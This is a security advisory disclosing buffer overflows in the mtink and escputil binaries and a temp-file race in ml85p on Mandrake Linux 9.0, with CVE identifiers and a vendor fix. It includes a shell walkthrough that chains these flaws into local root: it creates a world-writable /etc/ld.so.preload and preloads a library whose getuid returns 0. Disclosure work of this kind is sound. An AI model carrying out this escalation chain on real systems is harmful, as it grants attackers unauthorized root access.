

Buffer Overflows in Mandrake Linux

IDEFENSE Security Advisory 01.21.03:

I. BACKGROUND

MandrakeSoft Inc.'s Mandrake Linux includes the printer-drivers package in most default installations. Specifically, the following three binaries are included:

mtink: a status monitor that tracks remaining ink quantity, printing of test patterns, and changing and cleaning cartridges, etc. It is maintained by Jean-Jacques Sarton (jj.sarton@t-online.de).

escputil: a utility to clean and align the heads of Epson Stylus printers. It also checks current ink levels in the printer. It is maintained by Robert Krawitz (rlk@alum.mit.edu) and Mike Sweet.

ml85p: a Linux driver for Samsung ML-85G series printers. It is maintained by Rildo Pragana (rildo@pragana.net).

II. DESCRIPTION

Three vulnerabilities exist, the worst of which allows local root compromise of a target system.

VULNERABILITY ONE: The mtink binary, installed set group id (gid) 'sys', contains a buffer overflow in its handling of the HOME environment variable. Successful exploitation provides an attacker with 'sys' group privileges. The following snippet contains the offending segment of code:

```
void readRc(int idx)
{
    FILE *fp;
    char rcPath[1024];
    ...
    sprintf(rcPath,"%s/.mtinkrc",getenv("HOME"));
```

VULNERABILITY TWO: The escputil binary, installed set gid 'sys', contains a buffer overflow in its parsing of the printer-name command line argument. Successful exploitation provides an attacker with 'sys' group privileges.

VULNERABILITY THREE: The ml85p binary, installed set user id root, contains a race condition in its opening of temporary files. Successful exploitation provides an attacker with the ability to create or empty a file with super user privileges. The following snippet contains the offending segment of code:

```
sprintf(gname, "/tmp/mlg85p%d", time(0));
if (!(cbmf = fopen(gname, "w+"))) {
```

An attacker can easily guess the name of a temporary file and then link the guessed file to a file at another location. If the other file does not exist, it is created world-writeable; if it does exist, the contents of the file are lost. ml85p is, by default, installed without execute permissions for 'other':

```
$ ls -l /usr/bin/ml85p
- - -rwsr-x--- 1 root sys 12344 Sep 17 12:40 /usr/bin/ml85p*
```

The binary, however, does provide execute permissions to the 'sys' group, whose privileges can be gained using either of the two exploits in VULNERABILITY ONE or TWO. Once 'sys' privileges are obtained, an attacker can exploit this race condition.

The following example walks through a sample attack utilizing the above-described methods:

```
$ id
uid=501(farmer) gid=501(farmer) groups=501(farmer)
```

```
./escputil_ex
Usage : ./escputil_ex [offset]
Address : 0xbffff6b0
Exploiting...
Escputil version 4.2.2, Copyright (C) 2000-2001 Robert Krawitz
Escputil comes with ABSOLUTELY NO WARRANTY; for details type 'escputil -l'
This is free software, and you are welcome to redistribute it
under certain conditions; type 'escputil -l' for details. Cleaning heads...
lpr: unable to print file: client-error-not-found
/etc/profile.d/alias.sh:31: parse error: condition expected: !=
```

```
$ id
uid=501(farmer) gid=501(farmer) euid=3(sys) groups=501(farmer)
```

```
$ ls -l /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
```

```
./ml85p_ex /etc/ld.so.preload
Press a key to clean/create /etc/ld.so.preload file
Wrong file format.
file position: ffffffff
```

```
$ ls -l /etc/ld.so.preload
-- -rw-rw-rw- 1 root sys 0 Oct 21 09:09 /etc/ld.so.preload
```

```
$ cat > /tmp/lib.c < heredoc> int getuid(void) { return 0; }
heredoc> EOF
```

```
$ gcc -fPIC -c /tmp/lib.c
$ gcc -o /tmp/lib.so -shared /tmp/lib.o
```

```
$ echo "/tmp/lib.so" > /etc/ld.so.preload
```

```
$ su -
```

```
# id
uid=0(root) gid=0(root) groups=0(root)
```

III. ANALYSIS

Any attacker with local access to a targeted system can launch this attack. The ability to empty or create with root privileges any file on the file system provides an attacker with many avenues of exploitation. The above-described example is just one way of quickly gaining super user privileges on a targeted system.

IV. DETECTION

Mandrake Linux 9.0 is vulnerable. By default, it includes the following versions of the printer-drivers package:

```
printer-utils-1.0-76mdk
printer-filters-1.0-76mdk
```

V. VENDOR FIX / RESPONSE

MandrakeSoft has identified the problems and applied author-provided fixes to the escputil and mtink vulnerabilities. A patch written by Till Kamppeter was applied to ml85p to fix that vulnerability. Updates are provided for Mandrake Linux 8.1 through 9.0 for the printer-drivers packages, and ghostscript in 8.0

to fix these vulnerabilities
(MDKSA-2003:010).

VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification numbers to this issues:

CAN-2003-0034 - mtink overflow
CAN-2003-0035 - escputil overflow
CAN-2003-0036 - ml85p symlink issue

VII. DISCLOSURE TIMELINE

10/06/2002 Issues disclosed to iDEFENSE
12/26/2002 Issues disclosed to jj.sarton@t-online.de,
 rlk@alum.mit.edu, rildo@pragana.net, and
 security@linux-mandrake.com
12/26/2002 Issues disclosed to iDEFENSE clients
12/26/2002 Vendor responses from rlk@alum.mit.edu,
 jj.sarton@t-online.de
12/30/2002 Response from Vincent Danen (vdanen@mandrakesoft.com)
01/21/2003 Coordinated public disclosure

VIII. CREDIT

Karol Wiesek (appelast@bsquad.sm.pl) discovered these vulnerabilities.